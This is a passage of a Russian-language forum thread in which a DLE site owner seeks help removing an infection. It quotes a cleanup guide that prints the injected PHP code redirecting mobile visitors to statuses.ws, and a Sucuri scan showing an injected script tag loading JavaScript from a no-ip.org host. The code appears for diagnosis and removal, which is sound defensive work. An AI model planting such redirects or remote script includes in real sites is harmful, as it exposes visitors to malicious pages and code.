Вирус на сайте, нужна помощь

Severny · Отправлено: **16:27, 10-03-2013** | #21

Цитата Gudzon2:

Оченнно сильно звинялись, как ни странно. »

Ты же обещал их засно...ть до потери пульса )))

Gudzon2 · Отправлено: **16:33, 10-03-2013** | #22

Severny, Да не так уж конечно

Теперь я ваще

Gudzon2 · Отправлено: **10:15, 30-05-2013** | #23

SOS!!!! SOS!!!!
Снова проблема с сайтом, но сейчас вообще тупиковая ситуация. Яша прислал письмо, что сайт заражен.

http://stdclub.name/2013/05/26/
zeroesassay.battingyw.in Troj/ExpJS-IE
Но это блин страница целая и где искать ентого чертового зловреда?
Проверкой на других онлайн сервисах, выдает что сайт чист как невинный ребенок. Что делать? Помогите пожалуйста.
PS нашел информацию что атака связана с statuses.ws
Проверил по рекомендациям файлы

Цитата:

Борьба с дырой:

Думаю ее нужно будет проводить регулярно, так как оффициальный фикс не очень помогает.

Делаем следующее:
1. Открываем engine/data/config.php и dbconfig.php
2. Ищем такой код:

$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}

3. Сносим к чертям собачьим.
4. Ищем engine/engine.php и там должно быть аж два подобных кода, кстати вставлены они у каждого в разные строчки, так что не буду называть точный номер. Сносим все это.
5. Ищем engine/init.php - там тоже все это убираем
6. В index.php такая штука тоже есть, тоже убираем.

Но указанного кода не нашел.
Люди добрые отзовитесь. Замучился уже откатывать сайт из бэкапов. Помогите справится с вирусом.
Проверил сегодня сайт на http://sitecheck.sucuri.net
Выдал результат неутешительный(((

Цитата:

Malware found in the URL:
http://stdclub.name

Known javascript malware.
Details: http://sucuri.net/malware/malware-entry-mwjsanon7
<script src="http://vttcmgr.no-ip.org/showforum.php?pid=152" type="text/javascript"></script><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

Malware found in the URL:
http://stdclub.name/404testpage4525d2fdc

Malware found in the URL:
http://stdclub.name/sitemap

Malware found in the URL:
http://stdclub.name/index.php?do=feedback

Malware found in the URL:
http://stdclub.name/index.php

Malware found in the URL:
http://stdclub.name/add_news.html

Malware found in the URL:
http://stdclub.name/soft/portable_vv07

Malware found in the URL:
http://stdclub.name/index.php?do=register

Malware found in the URL:
http://stdclub.name/katalog.html

Вот эта хрень Known javascript malware.
Details: http://sucuri.net/malware/malware-entry-mwjsanon7
<script src="http://vttcmgr.no-ip.org/showforum.php?pid=152" type="text/javascript"></script><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
На всех перечисленных страницах.

Gudzon2 · Отправлено: **12:35, 30-08-2013** | #24

Друзья, снова требуется помощь. На этот раз вообще ситуация патовая.
Стоит ограничение доступа к сайту на DLE по IP, но все равно кто то получает доступ. Вносит изменения в файлы сайта.
Как такое возможно?